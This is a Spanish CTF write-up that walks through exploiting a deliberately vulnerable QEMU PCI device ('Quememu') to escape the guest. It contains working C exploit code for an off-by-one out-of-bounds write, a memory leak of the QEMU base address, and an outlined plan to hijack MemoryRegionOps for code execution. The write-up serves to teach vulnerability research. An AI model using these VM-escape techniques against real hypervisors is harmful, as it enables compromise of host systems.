Quememu
24 minutos de lectura
En este reto nos dan un dispositivo PCI (Peripheral Component Interconnect) que se comunica mediante MMIO (Memory-mapped I/O). Este dispositivo se ha añadido al código base de qemu
y nos dan el binario compilado y un archivo diff.txt
con las diferencias añadidas:
# ls -l
total 90964
-rw-rw-r-- 1 root root 718 Feb 13 21:42 Dockerfile
-rwxrwxr-x 1 root root 59 Feb 13 21:42 deploy_docker.sh
-rw-rw-r-- 1 root root 5494 Feb 13 21:41 diff.txt
-rw-rw-r-- 1 root root 151 Feb 13 21:42 docker-compose.yml
-rw-rw-r-- 1 root root 26 Feb 13 21:42 flag
-rw-r--r-- 1 root root 1320526 Feb 13 21:43 initramfs.cpio.gz
drwxrwxr-x 7 root root 4096 Feb 13 21:43 pc-bios
-rwxrwxr-x 1 root root 76179320 Feb 13 21:43 qemu-system-x86_64
-rwxrwxr-x 1 root root 331 Feb 13 21:43 run.sh
-rw------- 1 root root 11614792 Feb 13 21:42 vmlinuz-5.15.0-92-generic
-rw-rw-r-- 1 root root 176 Feb 13 21:42 xinetd
En las diferencias, podemos ver el archivo quememu.c
, que representa el código fuente del dispositivo vulnerable. En este reto tenemos que explotar el dispositivo PCI vulnerable para escapar de qemu
.
Configuración del entorno
La configuración del entorno es similar a los retos de explotación de kernel, ya que tenemos que compilar un exploit en C y meterlo en initramfs
. Este directorio se comprime y se pasa a qemu
.
Para poder trabajar más cómodamente, podemos usar un script go.sh
como el siguiente para compilar, comprimir y lanzar qemu
de una vez:
#!/usr/bin/env bash
musl-gcc -s -static -o exploit $1 || exit
mv exploit initramfs/
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
El exploit lo compilamos estáticamente con musl-gcc
porque genera compilados más pequeños y sin depender de librerías externas. Para esto es necesario instalarlo con apt install musl-tools
.
En el script de qemu
(run.sh
) es necesario modificar las rutas a los archivos vmlinuz
, initramfs.cpio.gz
y pc-bios
. Y es posible que aparezca un error al ejecutarlo relacionado con la versión de la librería SLIRP 4.7
. Si aparece esto, la mejor opción es traer la librería del contenedor de Docker que viene con el reto (usando docker cp
, por ejemplo):
docker cp <container-id>:/usr/lib/x86_64-linux-gnu/libslirp.so.0.4.0 .
Análisis del código fuente
El dispositivo quememu
utiliza la siguiente estructura:
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
char buff[BUFF_SIZE];
struct {
base_t base;
short off;
hwaddr src;
} state;
} QueMemuState;
Y nos permite leer y escribir valores de esta estructura (buff
, base
, off
, src
) mediante las siguientes funciones:
static uint64_t quememu_mmio_read(void *opaque, hwaddr addr, unsigned size) {
QueMemuState *quememu = (QueMemuState *) opaque;
uint64_t val = 0;
switch (addr) {
case 0x00:
trigger_rw(quememu, 1);
break;
case 0x04:
val = quememu->state.base;
break;
case 0x08:
val = quememu->state.off;
break;
case 0x0c:
val = quememu->state.src;
break;
default:
val = 0xFABADA;
break;
}
return val;
}
static void quememu_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
QueMemuState *quememu = (QueMemuState *) opaque;
switch (addr) {
case 0x00:
trigger_rw(quememu, 0);
break;
case 0x04:
if ((base_t) val <= MAX_BASE) quememu->state.base = val;
break;
case 0x08:
if ((short) val >= 0) quememu->state.off = val;
break;
case 0x0c:
quememu->state.src = val;
break;
default:
break;
}
}
La función trigger_rw
es la que realmente lee o escribe en la memoria del dispositivo:
static void trigger_rw(QueMemuState *quememu, bool is_write) {
if (quememu->state.base == 0) {
return;
}
// Don't change base cause we already use base 16
if (quememu->state.base == 0x10) {
cpu_physical_memory_rw(quememu->state.src, &quememu->buff[quememu->state.off], MAX_RW, is_write);
return;
}
unsigned short n = quememu->state.off;
unsigned long long multiplier = 1;
unsigned long long new_off = 0;
for (int i = 0; i < sizeof(n) * 2; ++i) {
// Use nibble % base (e.g. 7 in base 3 = 1)
new_off += (consume_nibble(&n) % quememu->state.base) * multiplier;
multiplier *= quememu->state.base;
}
cpu_physical_memory_rw(quememu->state.src, &quememu->buff[new_off], MAX_RW, is_write);
}
Y la función consume_nibble
devuelve los 4 bits menos significativos del número que recibe y desplaza el mismo número 4 bits a la derecha:
static unsigned char consume_nibble(unsigned short *n) {
unsigned char nibble = *n << 4;
nibble = nibble > >4;
*n = *n >> 4;
return nibble;
}
Es importante también mirar las constantes y las definiciones de tipos:
#define TYPE_PCI_QUEMEMU_DEVICE "quememu"
#define QUEMEMU_MMIO_SIZE 0x10000
#define BUFF_SIZE 0x10000
#define MAX_BASE 20
#define MAX_RW BUFF_SIZE - (pow(MAX_BASE, 3) * 0x7 + pow(MAX_BASE, 2) * 0xF + MAX_BASE * 0xF + 0xF - 1)
typedef unsigned char base_t;
Una línea sospechosa es la siguiente:
#define MAX_RW BUFF_SIZE - (pow(MAX_BASE, 3) * 0x7 + pow(MAX_BASE, 2) * 0xF + MAX_BASE * 0xF + 0xF - 1)
Es una expresión rara, porque podrían haber puesto simplemente el resultado de la operación. Si nos fijamos bien, el valor que hay en MAX_RW
es:
$$ \mathtt{MAX\_RW} = \mathtt{BUFF\_SIZE} - (\mathtt{0x7} \cdot 20^3 + \mathtt{0xF} \cdot 20^2 + \mathtt{0xF} \cdot 20^1 + \mathtt{0xF} \cdot 20^0 - 1) $$
Este número se corresponde con 0x7FFE
en base 20
. Esto de la base numérica es algo particular de este reto, ya que nos deja configurar el offset en el que escribir en función de una base.
Vulnerabilidad
Sin embargo, la vulnerabilidad de este dispositivo está en el término $-1$ de la expresión anterior. El hecho es que el máximo offset que podemos poner es 0x7fff
(en hexadecimal), ya que el atributo off
es de tipo short
(con signo) y se verifica que sea un número no negativo:
case 0x08:
if ((short) val >= 0) quememu->state.off = val;
break;
Pero si usamos base 20
(que es la máxima que nos permiten), entonces el nuevo offset será:
$$ \mathtt{new\_off} = \mathtt{0x7} \cdot 20^3 + \mathtt{0xF} \cdot 20^2 + \mathtt{0xF} \cdot 20^1 + \mathtt{0xF} \cdot 20^0 $$
Y así, tenemos:
$$ \mathtt{MAX\_RW} = \mathtt{BUFF\_SIZE} - (\mathtt{new\_off} - 1) $$
y por tanto,
$$ \mathtt{new\_off} = \mathtt{BUFF\_SIZE} - \mathtt{MAX\_RW} + 1 $$
Con este nuevo offset, si escribimos, estaremos escribiendo desde $\mathtt{new\_off}$ hasta $\mathtt{new\_off} + \mathtt{MAX\_RW}$, es decir, hasta $\mathtt{BUFF\_SIZE} + 1$. Y aquí tenemos un out-of-bounds (OOB).
En realidad, es un OOB para lectura y escritura, pero para lectura no es interesante. En cambio, el OOB de escritura nos da el poder de cambiar el atributo base
sin ninguna limitación. Esto ocurre porque el atributo base
se encuentra justo después de buff
en la estructura:
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
char buff[BUFF_SIZE];
struct {
base_t base;
short off;
hwaddr src;
} state;
} QueMemuState;
Estrategia de explotación
Una vez que podamos cambiar el atributo base
a cualquier valor, podremos conseguir un OOB mucho mayor. Por ejemplo, si ponemos la base a 21
y off
a 0x7fff
, el nuevo offset será
$$ \mathtt{0x1185c} = \mathtt{0x7} \cdot 21^3 + \mathtt{0xF} \cdot 21^2 + \mathtt{0xF} \cdot 21^1 + \mathtt{0xF} \cdot 21^0 $$
Evidentemente, este offset no nos sirve de mucho, porque nos pasamos en exceso de los límites. Pero podríamos pensar cuál es nuestro objetivo y luego definir el offset más adecuado para ello.
Al revisar otros retos de qemu
escape como Full Chain - Wall Maria del HITCON CTF 2023, vemos que un buen objetivo es la estructura MemoryRegion
en el atributo mmio
. La diferencia entre este reto y Full Chain - Wall Maria es que la posición de mmio
en la estructura del dispositivo cambia. En este caso, mmio
se encuentra encima de buff
, por lo que para poder modificarla necesitamos que off
sea un número negativo.
Entonces, el mínimo OOB que necesitamos es simplemente de 2 bytes más de los que tenemos sin hacer ninguna modificación. Podemos buscar cuál es el valor que necesitamos usando Python:
>>> BUFF_SIZE = 0x10000
>>> MAX_BASE = 20
>>> MAX_RW = BUFF_SIZE - (pow(MAX_BASE,3)*0x7 + pow(MAX_BASE,2)*0xF + MAX_BASE*0xF + 0xF - 1)
3222
>>> b = 20
>>> hex(0x7 * b ** 3 + 0xf * b ** 2 + 0xf * b ** 1 + 0xf * b ** 0 + MAX_RW)
'0x10001'
>>>
>>> b = 21
>>> hex(0x6 * b ** 3 + 0xf * b ** 2 + 0x6 * b ** 1 + 0xa * b ** 0 + MAX_RW)
'0x10003'
Vale, pues el valor 0x6f6a
en base 21
nos va a permitir un OOB de 3 bytes, lo justo para pisar los campos base
(1 byte) y off
(2 bytes).
Una vez que consigamos leer/escribir en mmio
, ya es más o menos sencillo seguir. Podremos obtener direcciones de memoria de qemu
y escribir una cadena ROP o un puntero a un shellcode en una tabla de funciones para leer la flag.
Aclaraciones
Antes de comenzar a escribir, es necesario comprender ciertos conceptos:
En primer lugar, para comunicarnos con el dispositivo PCI mediante MMIO, crearemos una región de memoria con
mmap
que irá vinculada al dispositivo. De esta manera, cada vez que leamos/escribamos, el dispositivo realizará una acción determinadaPor otro lado, el atributo
buff
que utiliza el dispositivo PCI se corresponde con una dirección de memoria física. Debemos encontrar una dirección de memoria virtual que coincida con esta dirección física, de manera que podamos utilizar el buffer del dispositivoPara abrir el dispositivo, podemos lanzar
qemu
y listar dispositivos PCI. Con esto, buscamos el que queremos explotar mirando los identificadores que aparecen en el código fuente:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:face
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
/root # cat /sys/devices/pci0000:00/0000:00:04.0/device
0xface
/root # ls /sys/devices/pci0000:00/0000:00:04.0/
ari_enabled irq resource
broken_parity_status link resource0
class local_cpulist revision
config local_cpus subsystem
consistent_dma_mask_bits modalias subsystem_device
d3cold_allowed msi_bus subsystem_vendor
device numa_node uevent
dma_mask_bits power vendor
driver_override power_state waiting_for_supplier
enable remove
firmware_node rescan
El archivo que usaremos en el exploit es resource0
.
- El programa que tenemos que explotar es
qemu
. Por tanto, para depurar, podemos emplear dos puntos de vista: el propioqemu
y el exploit que estará dentro deqemu
Desarrollo del exploit
Para comenzar, escribiremos las siguientes funciones auxiliares:
uint8_t* mmio_mem;
void mmio_write(uint32_t addr, uint32_t value) {
*(uint32_t*) (mmio_mem + addr) = value;
}
uint32_t mmio_read(uint32_t addr) {
return *(uint32_t*) (mmio_mem + addr);
}
void set_buff() {
mmio_write(0x00, 0);
}
void set_base(uint32_t src) {
mmio_write(0x4, src);
}
void set_off(uint32_t off) {
mmio_write(0x8, off);
}
void set_src(uint32_t base) {
mmio_write(0xc, base);
}
uint32_t get_buff() {
return mmio_read(0x0);
}
uint32_t get_base() {
return mmio_read(0x4);
}
uint32_t get_off() {
return mmio_read(0x8);
}
uint32_t get_src() {
return mmio_read(0xc);
}
Estas funciones nos permiten leer y escribir atributos de la estructura del dispositivo PCI. Puede parecer extraño cómo funcionan mmio_read
y mmio_write
. La clave es que al realizar una operación de escritura en mmio_mem
, el propio dispositivo PCI “se dará cuenta” y ejecutará la función correspondiente. Y si leemos en mmio_mem
, se ejecutará otra función del dispositivo.
Interacción con el dispositivo PCI
Para abrir el dispositivo y configurar la región de memoria mmio_mem
, podemos hacer lo siguiente:
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0) {
fprintf(stderr, "[!] Cannot open device\n");
exit(1);
}
mmio_mem = mmap(NULL, 4 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
fprintf(stderr, "[!] mmio error\n");
exit(1);
}
Y para ver que efectivamente estamos interactuando con el dispositivo, podemos hacer las siguientes pruebas:
set_off(0);
set_base(0x10);
printf("[*] buff ==> %x\n", get_buff());
printf("[*] base ==> %d\n", get_base());
printf("[*] off ==> 0x%hx\n", get_off());
printf("[*] src ==> %x\n", get_src());
printf("[*] default ==> 0x%x\n\n", mmio_read(0x10));
# sh go.sh exploit.c
...
Booting from ROM..
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
[*] buff ==> 0
[*] base ==> 16
[*] off ==> 0x0
[*] src ==> 0
[*] default ==> 0xfabada
Como se puede ver, tenemos datos que provienen claramente del dispositivo, como 0xfabada
, que es algo que no hemos escrito de manera explícita en mmio_mem
. Esto ocurre porque hemos ejecutado la función de lectura con un val
que no está gestionado, y por eso muestra 0xfabada
por defecto.
Genial, ahora tenemos que mapear el atributo buff
. Para esto, es necesaria una función que encuentre la dirección de memoria física a la que se mapea una dirección de memoria virtual (tomada de nobodyisnobody):
uint64_t gva2gpa(void *addr) {
uint64_t page = 0;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "[!] open error in gva2gpa\n");
exit(1);
}
lseek(fd, ((uint64_t) addr / PAGE_SIZE) * 8, SEEK_SET);
read(fd, &page, 8);
return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t) addr & 0xfff);
}
Y ahora, tenemos que mapear una página y buscar que las direcciones físicas y virtuales coincidan también con las páginas adyacentes. Esto se puede adaptar del exploit de nobodyisnobody:
system("sysctl vm.nr_hugepages=32"); // Set huge page
char *buff;
uint64_t buff_gpa;
while (1) {
buff = mmap(0, 0x10 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NONBLOCK, -1, 0);
if (buff < 0) {
fprintf(stderr, "[!] cannot mmap buff\n");
exit(1);
}
memset(buff, 0, 0x10 * PAGE_SIZE);
buff_gpa = gva2gpa(buff);
if (buff_gpa + PAGE_SIZE == gva2gpa(buff + PAGE_SIZE)) {
break;
}
}
printf("[*] buff virtual address = %p\n", buff);
printf("[*] buff physical address = %p\n\n", (void*) buff_gpa);
En este punto, ya podemos configurar el dispositivo PCI para empezar a explotarlo. Recordemos que usamos base 20
y el offset máximo para conseguir una escritura OOB de un byte:
set_src(buff_gpa);
set_base(20);
set_off(0x7fff);
printf("[*] base ==> %d\n", get_base());
printf("[*] off ==> 0x%hx\n\n", get_off());
Y vemos que los parámetros están bien puestos:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7f9a069c9000
[*] buff physical address = 0xb3e6000
[*] base ==> 20
[*] off ==> 0x7fff
Ahora, procedemos a cambiar base
de manera “artificial”, sin usar las funciones del dispositivo PCI:
// modify base with OOB write
memset(buff, 0, MAX_RW);
buff[MAX_RW - 1] = 21;
set_buff();
printf("[+] base ==> %d\n\n", get_base());
Si ejecutamos el exploit de nuevo, vemos que el atributo base
cambia como esperábamos:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7fde2d468000
[*] buff physical address = 0x3ffd8000
[*] base ==> 20
[*] off ==> 0x7fff
[+] base ==> 21
Perfecto, lo siguiente es usar un offset de 0x6f6a
, lo cual nos dará un OOB de 3 bytes para modificar el atributo off
de manera “artificial”. En verdad, después de realizar pruebas, descubrí que el valor adecuado era 0x6f6b
, que nos da un OOB de 4 bytes, que es lo necesario en este caso:
// modify off with OOB write
set_off(0x6f6b);
printf("[*] off ==> 0x%hx\n\n", get_off());
buff[MAX_RW - 4] = 0x10;
buff[MAX_RW - 3] = 0;
buff[MAX_RW - 2] = 0x00;
buff[MAX_RW - 1] = 0xfe;
set_buff();
printf("[+] base ==> %d\n", get_base());
printf("[+] off ==> 0x%hx\n\n", get_off());
Y como se puede ver, ya tenemos un valor negativo en off
(en concreto, -0x100
, que es más que suficiente para acceder a mmio
). Por otro lado, hemos aprovechado y hemos puesto base 16
otra vez:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7f9f8de69000
[*] buff physical address = 0x327e5000
[*] base ==> 20
[*] off ==> 0x7fff
[+] base ==> 21
[*] off ==> 0x6f6b
[+] base ==> 16
[+] off ==> 0xfe00
Fugando direcciones de memoria
Lo siguiente que podemos hacer es utilizar la lectura OOB para acceder al atributo mmio
(estructura MemoryRegion
). Para esto, le decimos al dispositivo que lea de su región de memoria física y nos ponga el resultado en nuestro buffer virtual. Después, lo que hacemos es interpretar los datos como tipo uint64_t
e imprimimos varios valores:
get_buff();
uint64_t* data = (uint64_t*) buff;
for (int i = 0; i < 80; i++) {
printf("%d: %lx\n", i, data[i]);
}
Este es el resultado:
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7f50e1ae5000
[*] buff physical address = 0xb9e8000
[*] base ==> 20
[*] off ==> 0x7fff
[+] base ==> 21
[*] off ==> 0x6f6b
[+] base ==> 16
[+] off ==> 0xfe00
0: 0
1: 0
2: 0
3: 0
4: 0
5: 0
6: 0
7: 0
8: 0
9: 0
10: 0
11: 0
12: 0
13: 0
14: 0
15: 0
16: 0
17: 0
18: 0
19: 0
20: 0
21: 0
22: 1
23: 0
24: 0
25: 0
26: 0
27: 0
28: 0
29: 0
30: 55a2dae78d90
31: 0
32: 55a2dbd16f60
33: 1
34: 55a2dbda4a70
35: 1
36: 0
37: 0
38: 55a2dbda4a70
39: 55a2dbda4a70
40: 55a2d9a79460
41: 55a2dbda4a70
42: 55a2dae4aae0
43: 0
44: 10000
45: 0
46: febb0000
47: 55a2d8c7f320
48: 0
49: 10001
50: 0
51: 0
52: 1
53: 0
54: 55a2dbda5558
55: 55a2dbd745e0
56: 55a2dae4ab98
57: 0
58: 55a2dbda5578
59: 55a2dbd696a0
60: 0
61: 0
62: 0
63: 0
64: 0
65: 0
66: 0
67: 0
68: 0
69: 0
70: 0
71: 0
72: 0
73: 0
74: 0
75: 0
76: 0
77: 0
78: 0
79: 0
Vemos unos cuantos punteros ahí. Para identificar cuál es cuál, podemos ver la estructura MemoryRegion
. Otra opción es tratar de buscar el puntero a mmio->ops
. Para esto, podemos usar readelf
sobre el binario de qemu
:
# readelf -s qemu-system-x86_64 | grep quememu
10415: 0000000000000000 0 FILE LOCAL DEFAULT ABS quememu.c
10416: 00000000004282b0 16 FUNC LOCAL DEFAULT 16 pci_quememu_regi[...]
10417: 00000000014f73e0 104 OBJECT LOCAL DEFAULT 24 quememu_info.4
10419: 0000000000428360 118 FUNC LOCAL DEFAULT 16 quememu_mmio_write
10420: 00000000004283e0 125 FUNC LOCAL DEFAULT 16 quememu_mmio_read
10421: 0000000000428460 108 FUNC LOCAL DEFAULT 16 pci_quememu_realize
10423: 00000000014f7460 80 OBJECT LOCAL DEFAULT 24 quememu_mmio_ops
10424: 00000000004284d0 152 FUNC LOCAL DEFAULT 16 quememu_class_init
10427: 0000000000428570 73 FUNC LOCAL DEFAULT 16 quememu_instance_init
# readelf -s qemu-system-x86_64 | grep quememu_mmio_ops
10423: 00000000014f7460 80 OBJECT LOCAL DEFAULT 24 quememu_mmio_ops
Ahí vemos que los tres últimos dígitos hexadecimales son 460
, y coinciden con la posición 40
de la lista de arriba. Entonces, tenemos el offset y el índice en el array. Con esto podemos calcular la dirección base de qemu
(que tiene PIE).
Otro índice importante es el de parent_obj
, que es el 30
. Con este índice tenemos la relación entre nuestro buffer y el del dispositivo PCI (en otras palabras, su índice 0
es nuestro índice 30
).
También sería bueno tener la dirección en la que se encuentra el buffer en qemu
. Para eso, podemos poner una instrucción getchar
en el código y luego agregar GDB al proceso. Pero antes, vamos a poner los datos que ya tenemos:
#define QUEMEMU_MMIO_OPS_OFFSET 0x14f7460
#define QUEMEMU_MMIO_OPS_INDEX 40
#define QUEMEMU_MMIO_OPAQUE_INDEX 41
#define QUEMEMU_MMIO_PARENT_OBJ_INDEX 30
uint64_t qemu_base_addr = data[QUEMEMU_MMIO_OPS_INDEX] - QUEMEMU_MMIO_OPS_OFFSET;
printf("[+] qemu base address: 0x%lx\n", qemu_base_addr);
getchar();
___ __ __
/ _ \ _ _ ___| \/ | ___ _ __ ___ _ _
| | | | | | |/ _ \ |\/| |/ _ \ '_ ` _ \| | | |
| |_| | |_| | __/ | | | __/ | | | | | |_| |
\__\_\\__,_|\___|_| |_|\___|_| |_| |_|\__,_|
-------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
-------------------------------------------------
/root # /exploit
vm.nr_hugepages = 32
[*] buff virtual address = 0x7f30a81bb000
[*] buff physical address = 0x2abf3000
[*] base ==> 20
[*] off ==> 0x7fff
[+] base ==> 21
[*] off ==> 0x6f6b
[+] base ==> 16
[+] off ==> 0xfe00
0: 0
...
29: 0
30: 5614b174cd90
31: 0
32: 5614b25eaf60
33: 1
34: 5614b2678a70
35: 1
36: 0
37: 0
38: 5614b2678a70
39: 5614b2678a70
40: 5614b0eaf460
41: 5614b2678a70
42: 5614b171eae0
43: 0
44: 10000
45: 0
46: febb0000
47: 5614b00b5320
48: 0
49: 10001
50: 0
51: 0
52: 1
53: 0
54: 5614b2679558
55: 5614b26485e0
56: 5614b171eb98
57: 0
58: 5614b2679578
59: 5614b263d6a0
60: 0
...
79: 0
[+] qemu base address: 0x5614af9b8000
Lo primero que podemos comprobar es si la dirección base de qemu
es correcta:
# gdb -q -p $(pidof qemu-system-x86_64) qemu-system-x86_64
gef> vmmap qemu
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00005614af9b8000 0x00005614afcd1000 0x0000000000319000 0x0000000000000000 r-- /root/HackOn/Quememu/qemu-system-x86_64
0x00005614afcd1000 0x00005614b0342000 0x0000000000671000 0x0000000000319000 r-x /root/HackOn/Quememu/qemu-system-x86_64
0x00005614b0342000 0x00005614b0692000 0x0000000000350000 0x000000000098a000 r-- /root/HackOn/Quememu/qemu-system-x86_64
0x00005614b0692000 0x00005614b1069000 0x00000000009d7000 0x0000000000cd9000 r-- /root/HackOn/Quememu/qemu-system-x86_64
0x00005614b1069000 0x00005614b117f000 0x0000000000116000 0x00000000016b0000 rw- /root/HackOn/Quememu/qemu-system-x86_64
Ahora, podemos buscar por referencias a la dirección de mmio->ops
para encontrar la estructura mmio
del dispositivo:
gef> find 0x5614b0eaf460
[+] Searching '\x60\xf4\xea\xb0\x14\x56' in whole memory
[+] In '[heap]' (0x5614b1607000-0x5614b28ab000 [rw-])
0x5614b26794f0: 60 f4 ea b0 14 56 00 00 70 8a 67 b2 14 56 00 00 | `....V..p.g..V.. |
[+] In (0x7f45c1e00000-0x7f4601e00000 [rw-])
0x7f45ec9f3140: 60 f4 ea b0 14 56 00 00 70 8a 67 b2 14 56 00 00 | `....V..p.g..V.. |
Ahora, ya sabemos más o menos dónde está la estructura:
gef> x/30gx 0x5614b26794f0
0x5614b26794f0: 0x00005614b0eaf460 0x00005614b2678a70
0x5614b2679500: 0x00005614b171eae0 0x0000000000000000
0x5614b2679510: 0x0000000000010000 0x0000000000000000
0x5614b2679520: 0x00000000febb0000 0x00005614b00b5320
0x5614b2679530: 0x0000000000000000 0x0000000000010001
0x5614b2679540: 0x0000000000000000 0x0000000000000000
0x5614b2679550: 0x0000000000000001 0x0000000000000000
0x5614b2679560: 0x00005614b2679558 0x00005614b26485e0
0x5614b2679570: 0x00005614b171eb98 0x0000000000000000
0x5614b2679580: 0x00005614b2679578 0x00005614b263d6a0
0x5614b2679590: 0x0000000000000000 0x0000000000000000
0x5614b26795a0: 0x0000000000000000 0x0000000000000000
0x5614b26795b0: 0x0000000000000000 0x0000000000000000
0x5614b26795c0: 0x0000000000000000 0x0000000000000000
0x5614b26795d0: 0x0000000000000000 0x0000000000000000
gef> x/30gx 0x5614b26794f0 - 0x80
0x5614b2679470: 0x0000000000000000 0x0000000000000000
0x5614b2679480: 0x0000000000000000 0x0000000000000000
0x5614b2679490: 0x0000000000000000 0x0000000000000000
0x5614b26794a0: 0x00005614b174cd90 0x0000000000000000
0x5614b26794b0: 0x00005614b25eaf60 0x0000000000000001
0x5614b26794c0: 0x00005614b2678a70 0x0000000000000001
0x5614b26794d0: 0x0000000000000000 0x0000000000000000
0x5614b26794e0: 0x00005614b2678a70 0x00005614b2678a70
0x5614b26794f0: 0x00005614b0eaf460 0x00005614b2678a70
0x5614b2679500: 0x00005614b171eae0 0x0000000000000000
0x5614b2679510: 0x0000000000010000 0x0000000000000000
0x5614b2679520: 0x00000000febb0000 0x00005614b00b5320
0x5614b2679530: 0x0000000000000000 0x0000000000010001
0x5614b2679540: 0x0000000000000000 0x0000000000000000
0x5614b2679550: 0x0000000000000001 0x0000000000000000
Ahí ya podemos identificar el puntero a parent_obj
, que es el que da comienzo a la estructura:
gef> x/50gx 0x5614b26794a0
0x5614b26794a0: 0x00005614b174cd90 0x0000000000000000
0x5614b26794b0: 0x00005614b25eaf60 0x0000000000000001
0x5614b26794c0: 0x00005614b2678a70 0x0000000000000001
0x5614b26794d0: 0x0000000000000000 0x0000000000000000
0x5614b26794e0: 0x00005614b2678a70 0x00005614b2678a70
0x5614b26794f0: 0x00005614b0eaf460 0x00005614b2678a70
0x5614b2679500: 0x00005614b171eae0 0x0000000000000000
0x5614b2679510: 0x0000000000010000 0x0000000000000000
0x5614b2679520: 0x00000000febb0000 0x00005614b00b5320
0x5614b2679530: 0x0000000000000000 0x0000000000010001
0x5614b2679540: 0x0000000000000000 0x0000000000000000
0x5614b2679550: 0x0000000000000001 0x0000000000000000
0x5614b2679560: 0x00005614b2679558 0x00005614b26485e0
0x5614b2679570: 0x00005614b171eb98 0x0000000000000000
0x5614b2679580: 0x00005614b2679578 0x00005614b263d6a0
0x5614b2679590: 0x0000000000000000 0x0000000000000000
0x5614b26795a0: 0x0000000000000000 0x0000000000000000
0x5614b26795b0: 0x0000000000000000 0x0000000000000000
0x5614b26795c0: 0x0000000000000000 0x0000000000000000
0x5614b26795d0: 0x0000000000000000 0x0000000000000000
0x5614b26795e0: 0x0000000000000000 0x0000000000000000
0x5614b26795f0: 0x0000000000000000 0x0000000000000000
0x5614b2679600: 0x0000000000000000 0x0000000000000000
0x5614b2679610: 0x0000000000000000 0x0000000000000000
0x5614b2679620: 0x0000000000000000 0x0000000000000000
Y aquí vemos un puntero en la posición 0x5614b2679580
que tiene valor 0x5614b2679578
(prácticamente lo mismo que la dirección en la que está). Este valor aparece en el índice 58
del array. Podemos usar este valor para calcular la dirección exacta de la estructura mmio
:
uint64_t qemu_base_addr = data[QUEMEMU_MMIO_OPS_INDEX] - QUEMEMU_MMIO_OPS_OFFSET;
uint64_t mmio_base_addr = data[QUEMEMU_MMIO_ADDRESS_INDEX] - 0xd8;
printf("[+] qemu base address: 0x%lx\n", qemu_base_addr);
printf("[+] mmio base address: 0x%lx\n\n", mmio_base_addr);
Ejecución de código arbitrario
En este punto, tenemos control sobre la dirección de mmio->ops
, que actualmente contiene la siguiente tabla de funciones:
gef> p quememu_mmio_ops
$1 = {
read = 0x5614afde03e0 <quememu_mmio_read>,
write = 0x5614afde0360 <quememu_mmio_write>,
read_with_attrs = 0x0,
write_with_attrs = 0x0,
endianness = DEVICE_NATIVE_ENDIAN,
valid = {
min_access_size = 0x4,
max_access_size = 0x4,
unaligned = 0x0,
accepts = 0x0
},
impl = {
min_access_size = 0x4,
max_access_size = 0x4,
unaligned = 0x0
}
}
Lo que podemos hacer es crear una estructura MemoryRegionOps
falsa en el buffer y hacer que mmio->ops
apunte ahí. Entonces, cada vez que se ejecute una lectura o una escritura, el dispositivo ejecutará las funciones que nosotros le digamos, y no las definidas en el módulo.
En esta situación, tenemos dos opciones:
- Usar una cadena ROP para ejecutar instrucciones open-read-write y leer la flag
- Poner shellcode de open-read-write para leer la flag y hacer que sea ejecutable mediante
mprotect
